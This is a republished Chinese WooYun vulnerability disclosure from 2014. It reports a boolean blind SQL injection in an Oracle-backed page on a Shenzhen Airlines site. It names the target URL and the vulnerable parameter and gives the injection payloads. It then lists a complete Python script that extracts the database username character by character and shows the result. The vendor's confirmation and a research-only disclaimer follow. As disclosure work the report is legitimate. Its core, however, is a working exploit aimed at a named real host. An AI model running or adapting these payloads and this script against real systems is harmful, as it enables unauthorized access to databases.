深航某站点存在Oracle盲注附验证python脚本

admin 2015年8月3日07:51:34评论257 views字数 211阅读0分42秒阅读模式
摘要

2014-11-08: 细节已通知厂商并且等待厂商处理中
2014-11-11: 厂商已经确认,细节仅向厂商公开
2014-11-21: 细节向核心白帽子及相关领域专家公开
2014-12-01: 细节向普通白帽子公开
2014-12-11: 细节向实习白帽子公开
2014-12-23: 细节向公众公开

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2014-82564

漏洞标题: 深航某站点存在Oracle盲注附验证python脚本

相关厂商: 深圳航空

漏洞作者: lijiejie深航某站点存在Oracle盲注附验证python脚本

提交时间: 2014-11-08 21:22

公开时间: 2014-12-23 21:24

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 8

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

3人收藏


漏洞详情

披露状态:

2014-11-08: 细节已通知厂商并且等待厂商处理中
2014-11-11: 厂商已经确认,细节仅向厂商公开
2014-11-21: 细节向核心白帽子及相关领域专家公开
2014-12-01: 细节向普通白帽子公开
2014-12-11: 细节向实习白帽子公开
2014-12-23: 细节向公众公开

简要描述:

深航某站点存在Oracle盲注,附验证python脚本

详细说明:

注入点:

code 区域
POST http://miaosha.shenzhenair.com/module/hyfw/inc_flightsegment.jsp
dstcity=BAV&orgcity=AEB' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=13 AND 'aaa'='aaa

bool盲注。如果页面返回到达地“广州”,表示True。

以上请求是确认数据库用户的长度为13。

若使用注释符号,变为:

code 区域
dstcity=BAV&orgcity=AEB' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=13--

那么为True时,出现的应该是到达地“桂林”。如图:

深航某站点存在Oracle盲注附验证python脚本

漏洞证明:

暂未测试UTL_HTTP.request是否可用,比较喜欢盲注。暴力猜解实际可以二分,此处做了简化。得到当前用户:

code 区域
B2CSHEBENTER

深航某站点存在Oracle盲注附验证python脚本

python脚本:

code 区域
#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib

headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}

payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))


print 'start to retrive Oracle user:'
user = ''
for i in range(1,14,1):
for payload in payloads:
conn = httplib.HTTPConnection('miaosha.shenzhenair.com', timeout=30)
params = {
'dstcity': 'BAV',
'orgcity': "AEB' AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s--" % (i, ord(payload))
}
conn.request(method='POST',
url='/module/hyfw/inc_flightsegment.jsp',
body = urllib.urlencode(params),
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read().decode('gbk')
conn.close()
print '.',
if html_doc.find(u'<option value="KWL" >G-桂林</option>') > 0: # true
user += payload
print '/n[in progress]', user
break

print '/nOracle user is', user

修复方案:

编码

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-11 13:41

厂商回复:

感谢您对深航系统的关系,已安排人员修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin